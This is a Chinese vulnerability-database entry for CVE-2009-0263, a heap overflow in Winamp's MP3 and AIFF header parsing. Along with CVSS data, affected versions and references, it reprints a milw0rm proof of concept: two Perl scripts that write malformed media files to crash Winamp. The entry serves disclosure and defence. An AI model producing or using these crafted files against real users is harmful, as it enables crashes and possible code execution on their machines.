Nullsoft Winamp MP3和AIFF文件解析堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117223 漏洞类型 缓冲区溢出
发布时间 2009-01-12 更新时间 2009-02-02
CVE编号 CVE-2009-0263 CNNVD-ID CNNVD-200901-325
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/7742
https://www.securityfocus.com/bid/33226
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-325
|漏洞详情
Winamp是一款流行的媒体播放器,支持多种文件格式。Winamp在解析畸形MP3和AIFF文件头时存在堆溢出漏洞,用户受骗打开了恶意媒体文件就可能导致执行任意代码。
|漏洞EXP
################################################################################################################################
#Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
#
# Winamp MP3 file parsing DoS ==>
#!/usr/bin/perl
use strict;
my $mp3 =
"\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x54\x49\x54\x32\x00\x00\x00\x08\x00\x00\x00".
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e".
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x62\x6c\x61\x62\x6c\x61\x20".
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $mp32 =
"\x20" x 1500;

open(out, "> test.mp3");
binmode(out);
print (out $mp3, $mp32);
close(out);

#### Winamp AIFF file parsing header heap overflow :
#!/usr/bin/perl
use strict;
my $aiff =
"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4".
"\x00";
open(out, "> test.aiff");
binmode(out);
print (out $aiff);
close(out);

# milw0rm.com [2009-01-12]
|受影响的产品
NullSoft Winamp 5.3.2 NullSoft Winamp 5.0 91 NullSoft Winamp 5.0 9 NullSoft Winamp 5.0 8c NullSoft Winamp 5.0 8 NullSoft Winamp 5.0 7 NullSoft Winamp 5.0 6
|参考资料

来源:BID
名称:33226
链接:http://www.securityfocus.com/bid/33226
来源:VUPEN
名称:ADV-2009-0113
链接:http://www.frsirt.com/english/advisories/2009/0113
来源:SECUNIA
名称:33478
链接:http://secunia.com/advisories/33478
来源:MILW0RM
名称:7742
链接:http://milw0rm.com/exploits/7742